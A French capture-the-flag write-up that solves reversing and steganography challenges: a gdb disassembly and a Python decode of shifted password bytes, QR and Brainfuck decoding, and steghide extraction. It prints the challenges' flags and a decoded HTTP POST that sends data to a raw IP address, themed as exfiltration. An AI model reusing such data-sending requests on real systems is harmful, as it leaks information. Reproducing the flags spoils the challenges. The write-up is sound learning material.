On rentre ici dans le vif du sujet ! Merci à @Tomtombinary qui m’a aidé pour la résolution de ce challenge notamment en répondant à mes trop nombreuses questions :D. Je passe l’ensemble de l’analyse du binaire pour me concentrer uniquement sur les parties intéressantes.
A l’aide de gdb
on peut récupérer les instructions assembleurs du binaire. Deux choses sont à remarquer. Premièrement, on observe ce qui est chargé par le programme à son lancement. On s’aperçoit que le programme charge un tas de données qui s’avèrent être des caractères.
(gdb) disas main
Dump of assembler code for function main:
0x0000000000001155 <+0>: push rbp
0x0000000000001156 <+1>: mov rbp,rsp
0x0000000000001159 <+4>: push rbx
0x000000000000115a <+5>: sub rsp,0x78
0x000000000000115e <+9>: mov DWORD PTR [rbp-0x74],edi
0x0000000000001161 <+12>: mov QWORD PTR [rbp-0x80],rsi
0x0000000000001165 <+16>: mov rax,QWORD PTR [rbp-0x80]
0x0000000000001169 <+20>: mov rax,QWORD PTR [rax+0x8]
0x000000000000116d <+24>: mov QWORD PTR [rbp-0x38],rax
0x0000000000001171 <+28>: mov BYTE PTR [rbp-0x50],0xb6
0x0000000000001175 <+32>: mov BYTE PTR [rbp-0x4f],0xa9
0x0000000000001179 <+36>: mov BYTE PTR [rbp-0x4e],0xc2
0x000000000000117d <+40>: mov BYTE PTR [rbp-0x4d],0xcd
0x0000000000001181 <+44>: mov BYTE PTR [rbp-0x4c],0x8d
0x0000000000001185 <+48>: mov BYTE PTR [rbp-0x4b],0x99
0x0000000000001189 <+52>: mov BYTE PTR [rbp-0x4a],0xc0
0x000000000000118d <+56>: mov BYTE PTR [rbp-0x49],0xaa
0x0000000000001191 <+60>: mov BYTE PTR [rbp-0x48],0xab
0x0000000000001195 <+64>: mov BYTE PTR [rbp-0x47],0xb9
0x0000000000001199 <+68>: mov BYTE PTR [rbp-0x46],0xa9
0x000000000000119d <+72>: mov BYTE PTR [rbp-0x45],0xc6
0x00000000000011a1 <+76>: mov BYTE PTR [rbp-0x44],0x9f
0x00000000000011a5 <+80>: mov BYTE PTR [rbp-0x43],0xbb
0x00000000000011a9 <+84>: mov BYTE PTR [rbp-0x42],0xca
0x00000000000011ad <+88>: mov BYTE PTR [rbp-0x41],0xcc
0x00000000000011b1 <+92>: mov BYTE PTR [rbp-0x40],0x0
0x00000000000011b5 <+96>: mov BYTE PTR [rbp-0x70],0x9e
0x00000000000011b9 <+100>: mov BYTE PTR [rbp-0x6f],0xa2
0x00000000000011bd <+104>: mov BYTE PTR [rbp-0x6e],0xa9
0x00000000000011c1 <+108>: mov BYTE PTR [rbp-0x6d],0xa1
0x00000000000011c5 <+112>: mov BYTE PTR [rbp-0x6c],0x99
0x00000000000011c9 <+116>: mov BYTE PTR [rbp-0x6b],0xd0
0x00000000000011cd <+120>: mov BYTE PTR [rbp-0x6a],0xa9
0x00000000000011d1 <+124>: mov BYTE PTR [rbp-0x69],0xbd
0x00000000000011d5 <+128>: mov BYTE PTR [rbp-0x68],0x86
0x00000000000011d9 <+132>: mov BYTE PTR [rbp-0x67],0xc8
0x00000000000011dd <+136>: mov BYTE PTR [rbp-0x66],0x86
0x00000000000011e1 <+140>: mov BYTE PTR [rbp-0x65],0xc8
0x00000000000011e5 <+144>: mov BYTE PTR [rbp-0x64],0xa3
0x00000000000011e9 <+148>: mov BYTE PTR [rbp-0x63],0x85
0x00000000000011ed <+152>: mov BYTE PTR [rbp-0x62],0xc9
0x00000000000011f1 <+156>: mov BYTE PTR [rbp-0x61],0x98
0x00000000000011f5 <+160>: mov BYTE PTR [rbp-0x60],0xbd
0x00000000000011f9 <+164>: mov BYTE PTR [rbp-0x5f],0x88
0x00000000000011fd <+168>: mov BYTE PTR [rbp-0x5e],0x89
0x0000000000001201 <+172>: mov BYTE PTR [rbp-0x5d],0xc9
0x0000000000001205 <+176>: mov BYTE PTR [rbp-0x5c],0x86
0x0000000000001209 <+180>: mov BYTE PTR [rbp-0x5b],0xc3
0x000000000000120d <+184>: mov BYTE PTR [rbp-0x5a],0xbc
0x0000000000001211 <+188>: mov BYTE PTR [rbp-0x59],0xd2
0x0000000000001215 <+192>: mov BYTE PTR [rbp-0x58],0x0
0x0000000000001219 <+196>: mov DWORD PTR [rbp-0x14],0x0
0x0000000000001220 <+203>: cmp DWORD PTR [rbp-0x74],0x2
Par la suite, on trouve dans le code du programme un boucle qui va réaliser une opération sur chacun des caractères du mot de passe. En effet, pour chaque caractère, le programme va ajouter la valeur 0x55
. Il s’agit en réalité d’une fonction de chiffrement, utilisant une substitution mono-alphabétique (un ROT).
0x0000000000001246 <+241>: mov rax,QWORD PTR [rbp-0x20]
0x000000000000124a <+245>: lea rdx,[rax+0x1]
0x000000000000124e <+249>: mov QWORD PTR [rbp-0x20],rdx
0x0000000000001252 <+253>: movzx edx,BYTE PTR [rax]
0x0000000000001255 <+256>: add edx,0x55
0x0000000000001258 <+259>: mov BYTE PTR [rax],dl
0x000000000000125a <+261>: mov rax,QWORD PTR [rbp-0x20]
0x000000000000125e <+265>: movzx eax,BYTE PTR [rax]
0x0000000000001261 <+268>: test al,al
0x0000000000001263 <+270>: jne 0x1246 <main+241>
Ainsi, on peut récupérer le contenu des caractères chargés en début de programme, effectuer l’opération inverse du ROT sur ces derniers pour retrouver le mot de passe du binaire. Le code Python
ci-dessous permet d’effectuer ces opérations.
>>> chaine = """0xb6
... 0xa9
... 0xc2
... 0xcd
... 0x8d
... 0x99
... 0xc0
... 0xaa
... 0xab
... 0xb9
... 0xa9
... 0xc6
... 0x9f
... 0xbb
... 0xca
... 0xcc
... 0x0
... 0x9e
... 0xa2
... 0xa9
... 0xa1
... 0x99
... 0xd0
... 0xa9
... 0xbd
... 0x86
... 0xc8
... 0x86
... 0xc8
... 0xa3
... 0x85
... 0xc9
... 0x98
... 0xbd
... 0x88
... 0x89
... 0xc9
... 0x86
... 0xc3
... 0xbc
... 0xd2
... 0x0"""
>>> chaine
'0xb6\n0xa9\n0xc2\n0xcd\n0x8d\n0x99\n0xc0\n0xaa\n0xab\n0xb9\n0xa9\n0xc6\n0x9f\n0xbb\n0xca\n0xcc\n0x0\n0x9e\n0xa2\n0xa9\n0xa1\n0x99\n0xd0\n0xa9\n0xbd\n0x86\n0xc8\n0x86\n0xc8\n0xa3\n0x85\n0xc9\n0x98\n0xbd\n0x88\n0x89\n0xc9\n0x86\n0xc3\n0xbc\n0xd2\n0x0'
>>> chaine.split('\n')
['0xb6', '0xa9', '0xc2', '0xcd', '0x8d', '0x99', '0xc0', '0xaa', '0xab', '0xb9', '0xa9', '0xc6', '0x9f', '0xbb', '0xca', '0xcc', '0x0', '0x9e', '0xa2', '0xa9', '0xa1', '0x99', '0xd0', '0xa9', '0xbd', '0x86', '0xc8', '0x86', '0xc8', '0xa3', '0x85', '0xc9', '0x98', '0xbd', '0x88', '0x89', '0xc9', '0x86', '0xc3', '0xbc', '0xd2', '0x0']
>>> listChaine = chaine.split('\n')
>>> list(map(lambda x: int(x,16),listChaine))
[182, 169, 194, 205, 141, 153, 192, 170, 171, 185, 169, 198, 159, 187, 202, 204, 0, 158, 162, 169, 161, 153, 208, 169, 189, 134, 200, 134, 200, 163, 133, 201, 152, 189, 136, 137, 201, 134, 195, 188, 210, 0]
>>> intList = list(map(lambda x: int(x,16),listChaine)
>>> list(map(lambda x: abs(x-0x55),intList))
[97, 84, 109, 120, 56, 68, 107, 85, 86, 100, 84, 113, 74, 102, 117, 119, 85, 73, 77, 84, 76, 68, 123, 84, 104, 49, 115, 49, 115, 78, 48, 116, 67, 104, 51, 52, 116, 49, 110, 103, 125, 85]
>>> rotList = list(map(lambda x: chr(abs(x-0x55)),intList))
>>> rotList
['a', 'T', 'm', 'x', '8', 'D', 'k', 'U', 'V', 'd', 'T', 'q', 'J', 'f', 'u', 'w', 'U', 'I', 'M', 'T', 'L', 'D', '{', 'T', 'h', '1', 's', '1', 's', 'N', '0', 't', 'C', 'h', '3', '4', 't', '1', 'n', 'g', '}', 'U']
>>> chn = "".join(rotList)
>>> chn
'aTmx8DkUVdTqJfuwUIMTLD{Th1s1sN0tCh34t1ng}U'
On récupère donc le flag IMTLD{Th1s1sN0tCh34t1ng}.
## Stéganographie et Cryptographie
Slept on the keyboard - 50 pts
Le challenge démarre avec un QRcode à scanner. Ce dernier donne une chaine binaire.
$ zbarimg qrcode.png -q --raw
QR-Code:001110010011100100111001001110010110010001100100011001000110010000110100001101000011010000110100001101000110001101100011011000110110001100110100001101000011010000110100011000100110001001100010011000100110001001100010011000100011001100110011001100110011001100110100001101000011010000110100001101000011010000110100001101000011010000110100001100000011000000110000011001010110010101100101011001010110010101100101001101000011010000110100001101000011010000111000001110000011100000111000001110000011100000110011001100110011001101100010011000100110001001100010001100110011001100110011001110010011100100111001001110010011100100111001001110010011001000110010001100100011001000110010001100100011000000110000001100000011010000110100001101000011001000110010001100100011001000110010001100100011001000110100001101000011010000110100001101000011010001100100011001000110010001100100011001000110010001100100
Le binaire correspond en réalité à la chaine ASCII ci-dessous.
9999dddd44444cccc4444bbbbbbb33334444444444000eeeeee44444888888333bbbb33399999992222220004442222222444444ddddddd
Après quelques essais et quelques tests, il semble que le résultat se trouve dans la répétition des caractères. En effet, prenons l’exemple des 3 premières séquences :
- 9999 –> 4 fois le chiffre 9 –> 49 –> La lettre “I” en hex ;
- dddd –> 4 fois le chiffre d –> 4d –> La lettre “M” en hex
- 44444 –> 5 fois le chiffre 4 –> 54 –> La lettre “T” en hex
En suivant cette logique, on retrouve assez rapidement le flag IMTLD{C4t0nTh3K3yb04rd}.
### Xtracted - 100 pts
Le fichier “encoded.wtf” est en réalité un fichier texte composé des caractères suivants.
++++++++++[>+>+++>+++++++>++++++++++<<<<-]>>>++++++++++.-.++++.+.<++.+++++++++++++++.---------------.>------------.++++++++++++..----.<+++++++++++++++.++.---.+++.<++++++++++.>>--------.>+++++++++++.++++.+.<<+++++++++.<++++++++++++++++++++++.>-----.----.---.+++++++++.--.-------.++++.--.++.----.+++..++.<++++++++++.>>-----.>-----.-.++++++.---------------.+++++++++.++++++.<<------.>+++++++++++++++++.>+++++.---------.-----------.<<+++++++++++++.<++++++++++++++++++++++.>>>----.+++++++++++++++..----.---.------.--.+++++++++++++++++++.-----------.++++++.-.<<-----------.>>++++++++++.<<--.>>-...<<.>>-----------------.+++++++++.+++.-----.<<.>>++++++++.---.------.-------.+++++++++.-----------.++++++++++++.-----------.+.-.<<<++++++++++.>>>+.+++++++++++++++++++.----.--.<+++++++++++++.++.>++.<++++++.>-----.-.<----------.>-----.+++++.<+++++++.>+.<<++++++++++++++++.++++++++++++.++++.+++++++.--------.--------.>>++++++++++++.<--------------.>-------.--.<<----------------.>+++++++++++.>++.<----.<++++++++++++++++.----------------.>>.<<.>.-----------.<----.>+++++++++++.>--.<<+++.>>-----.<<---.>>+++++++.<<+++.>.>-.<<.>>-.++++.<<.>-------------.>+++++++.
Assez rapidement, on se rend compte qu’il s’agit d’un texte codé en langage “Brainfuck”. Ainsi, on peut le décoder avec un utilitaire en ligne et retrouver le flag :).
POST / HTTP/1.1 Host:*51.75.202.1134Content-Type:Japplication/x-www-form-urlencodedTextraction_info=IMTLD{Xtr4ct_D4t4_T0_r3m0t3_s3rv3R}
### Stego101 - 150 pts
Ce challenge permet de retrouver deux concepts très simples que l’ont peut voir dans les premiers challenges de stéganographie. La première étape est d’aller regarder du côté des métadonnées. On y trouve notamment un commentaire “steghide : doyouknowdaway”.
$ exiftool challenge.jpg
ExifTool Version Number : 11.11
File Name : challenge.jpg
Directory : .
File Size : 7.0 kB
File Modification Date/Time : 2018:12:19 15:03:41+01:00
File Access Date/Time : 2018:12:25 22:31:35+01:00
File Inode Change Date/Time : 2018:12:19 20:17:05+01:00
File Permissions : rw-r--r--
File Type : JPEG
File Type Extension : jpg
MIME Type : image/jpeg
JFIF Version : 1.01
Resolution Unit : inches
X Resolution : 300
Y Resolution : 300
Comment : steghide : doyouknowdaway
Image Width : 297
Image Height : 153
Encoding Process : Baseline DCT, Huffman coding
Bits Per Sample : 8
Color Components : 3
Y Cb Cr Sub Sampling : YCbCr4:4:4 (1 1)
Image Size : 297x153
Megapixels : 0.045
L’indice indique l’utilisation de l’outil steghide
permettant notamment d’embarquer des données dans une image puis de les extraire, à l’aide d’un mot de passe. Ainsi, on récupère un fichier grâce au mot de passe trouvé dans les métadonnées de l’image.
$ steghide extract -sf challenge.jpg
Enter passphrase:
wrote extracted data to "flag.txt".
Le fichier contient le flag IMTLD{st3g4N0gr4phY_c4N_b3_r34llY_s1mpl3}.
## Le mot de la fin
Vivement la prochaine édition !